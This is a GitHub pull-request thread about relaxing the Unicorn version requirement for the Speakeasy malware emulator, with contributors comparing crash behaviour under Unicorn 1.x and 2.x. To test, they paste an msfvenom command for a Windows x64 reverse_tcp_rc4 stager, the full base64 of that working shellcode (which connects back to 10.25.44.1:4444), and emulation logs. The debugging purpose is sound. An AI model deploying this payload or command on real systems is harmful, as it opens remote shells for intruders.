Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update requirements.txt #235

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

Update requirements.txt #235

wants to merge 1 commit into from

Conversation

Derekt2
Copy link

@Derekt2 Derekt2 commented Sep 6, 2023

  • Relaxes requirement to have a specific version of unicorn installed.
  • Allows downstream apps relying on the project to upgrade/downgrade unicorn as needed.
  • addresses several CVEs impacting current unicorn version

@williballenthin
Copy link
Contributor

i don't believe speakeasy works with Unicorn 2.0. have you found differently? therefore, this update should pin the unicorn version to less than 2.0.

@HongThatCong
Copy link
Contributor

It still work with unicorn >= 2.0

@williballenthin
Copy link
Contributor

great, then let's also enable CI testing for both versions so we can demonstrate this.

@williballenthin
Copy link
Contributor

i'm surprised that Speakeasy does not rely upon any Unicorn APIs or behaviors that changed in 2.0

@cecio
Copy link
Contributor

cecio commented Sep 7, 2023

Unless something is changed from pull #216, I don't think it is fully compatible.
I can run some tests now anyway and I'll let you know

@cecio
Copy link
Contributor

cecio commented Sep 7, 2023

Just did the same tests, but I have the same behavior (payloads are "standard" Metasploit generated shellcodes)

With 1.0.2:

>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0
0x11ce: 'ws2_32.recv(0x4, 0x1a7492108, 0xd3a205a0, 0x0)' -> 0x0

With 2.0.1:

>>> speakeasy -r -t samples/payload_tcp_rc4_64.bin -a amd64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating

The emulation stops after VirtualAlloc with a Segmentation Fault

@Derekt2
Copy link
Author

Derekt2 commented Sep 8, 2023

Odd, I'm not seeing that same behavior on my system, I haven't run into a difference yet running with unicorn 2+, and was able to emulate without a segfault from VirtualAlloc using what I believe is the same payload?

Are you running this on a M1 @cecio ? Here's my setup:

OS: Ubuntu 20.04 x86_64
unicorn: 2.0.1.post1
speakeasy: latest
payload generated using: msfvenom -p windows/x64/shell/reverse_tcp_rc4 -f raw -o ~/Downloads/out.bin

image

@cecio
Copy link
Contributor

cecio commented Sep 8, 2023

Very strange. No, I'm not on a M1 btw.

I just retried on a completely different system (VM created on a cloud environment Ubuntu 20.04.1 LTS).

  • created new python env (3.8.10, the previous machine was on 3.11) to be super sure that I have a clean env
  • cloned the speakeasy repo
  • modified the requirements.txt
  • installed requirements (so Unicorn Version: 2.0.1.post1)
  • installed speakeasy
  • started emulation (speakeasy -r -t ./payload_tcp_rc4_64.bin -a amd64)
  • same result (crash after VirtualAlloc)

May be I'm doing something wrong...or different from you.

This is the base64 of the payload if you want to try:

/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHB
yQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FBEi0AgSQHQi0gY
41ZNMclI/8lBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0Ac
SQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJ
ieZIgeygAQAASYnlSbwCABFcChksAUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoK
QV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/
znXl6B8BAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAD45tAAAASIPEIF6J9oH2oAWi00yN
ngABAABqQEFZaAAQAABBWEiJ8kgxyUG6WKRT5f/VSI2YAAEAAEmJ31NWUE0xyUmJ8EiJ2kiJ+UG6
AtnIX//VSIPEIIP4AH0oWEFXWWgAQAAAQVhqAFpBugsvDzD/1VdZQbp1bk1h/9VJ/87pIP///0gB
w0gpxnWzSYn+X1lBWUFW6BAAAAA0Kmh+otBTYMlTEHrL6D4IXkgxwEmJ+Kr+wHX7SDHbQQIcAEiJ
woDiDwIcFkGKFABBhhQYQYgUAP7AdeNIMdv+wEECHABBihQAQYYUGEGIFABBAhQYQYoUEEEwEUn/
wUj/yXXbX0H/51hqAFlJx8LwtaJW/9U=

I'm curios about the result.

@cecio
Copy link
Contributor

cecio commented Sep 8, 2023

@Derekt2 I edited my previous comment with new payload to be consistent with previous test. Try this last one in case

@Derekt2
Copy link
Author

Derekt2 commented Sep 9, 2023

no issue with that payload either, and your steps were identical to mine (other than using a virtual machine). Strange we get different results. Curious what results other folks get.
image

@HongThatCong
Copy link
Contributor

HongThatCong commented Sep 9, 2023

My OS: Windows 10.19041
Python: 3.9.7
Unicorn: 2.0.1.post1

My result:
Z:\APIMons\speakeasy>run_speakeasy.py -r -t test.bin -a amd64

  • exec: shellcode
    0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
    0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
    0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
    0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
    0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
    0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
    0x11ad: shellcode: Caught error: exception: access violation reading 0x0000000077002607
    Exception: Invalid argument (UC_ERR_ARG)
    Traceback (most recent call last):
    File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 437, in start
    self.emu_eng.start(self.curr_run.start_addr, timeout=self.timeout,
    File "Z:\APIMons\speakeasy\speakeasy\engines\unicorn_eng.py", line 203, in start
    return self.emu.emu_start(addr, 0xFFFFFFFF, timeout=timeout, count=count)
    File "Z:\Python39\lib\site-packages\unicorn\unicorn.py", line 545, in emu_start
    status = _uc.uc_emu_start(self._uch, begin, until, timeout, count)
    OSError: exception: access violation reading 0x0000000077002607

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 320, in _exec_next_run
run = self.run_queue.pop(0)
IndexError: pop from empty list

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "Z:\APIMons\speakeasy\run_speakeasy.py", line 51, in emulate_binary
se.run_shellcode(sc_addr, offset=raw_offset or 0)
File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 37, in wrap
return func(self, *args, **kwargs)
File "Z:\APIMons\speakeasy\speakeasy\speakeasy.py", line 274, in run_shellcode
return self.emu.run_shellcode(sc_addr, stack_commit=stack_commit, offset=offset)
File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 555, in run_shellcode
self.start()
File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 459, in start
run = self.on_run_complete()
File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 746, in on_run_complete
return self._exec_next_run()
File "Z:\APIMons\speakeasy\speakeasy\windows\winemu.py", line 322, in _exec_next_run
self.on_emu_complete()
File "Z:\APIMons\speakeasy\speakeasy\windows\win32.py", line 728, in on_emu_complete
dec_ansi, dec_unicode = self.get_mem_strings()
File "Z:\APIMons\speakeasy\speakeasy\binemu.py", line 830, in get_mem_strings
data = self.mem_read(mmap.get_base(), mmap.get_size()-1)
File "Z:\APIMons\speakeasy\speakeasy\memmgr.py", line 251, in mem_read
return bytes(self.emu_eng.mem_read(addr, size))
File "Z:\APIMons\speakeasy\speakeasy\engines\unicorn_eng.py", line 171, in mem_read
return self.emu.mem_read(addr, size)
File "Z:\Python39\lib\site-packages\unicorn\unicorn.py", line 579, in mem_read
raise UcError(status)
unicorn.unicorn.UcError: Invalid argument (UC_ERR_ARG)

  • Finished emulating

I will review, debug and fix temporarily

@HongThatCong
Copy link
Contributor

HongThatCong commented Nov 12, 2023

Speakeasy run well with Unicorn ver < 2.x.x (1.0.2, 1.0.3)
With Unicorn ver >= 2.x.x, an unhandled exception will throwed from unicorn.dll
Need to continue investigate
image

Regards,
TQN

@ronbarrey
Copy link
Contributor

From my testing, it appears that the CLI works with Unicorn >= 2.0.0 but not from a Python script. Running from a Python script will cause a segmentation fault.

@ronbarrey
Copy link
Contributor

Adding a little more context to my previous comment. I tested this using Unicorn 2.0.1 running in Ubuntu 22.04. It appears that the segfault occurs when running the emulation in the current process rather than a child process. The shellcode used was the sample posted by cecio. I believe the default behavior when running speakeasy from a python script, is to run in the current process, which would explain the segfault as well.

speakeasy -t dump.bin -r -a x64 --no-mp
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
Segmentation fault (core dumped)

speakeasy -t dump.bin -r -a x64
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x10003e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "10.25.44.1:4444", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x10003d60, 0x4, 0x0)' -> 0x4
0x11ad: 'kernel32.VirtualAlloc(0x0, 0xd3a205a8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x1a7492000
* Finished emulating

@cecio
Copy link
Contributor

cecio commented Apr 25, 2024

mmmmh... I'm not sure: if you are using the same shellcode, even the second run is not working: you don't see the Segementation Fault, but the execution stops, since you don't see the subsequent call:

0x11ce: 'ws2_32.recv(0x4, 0x1a7492100, 0xd3a205a8, 0x0)' -> 0x8

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants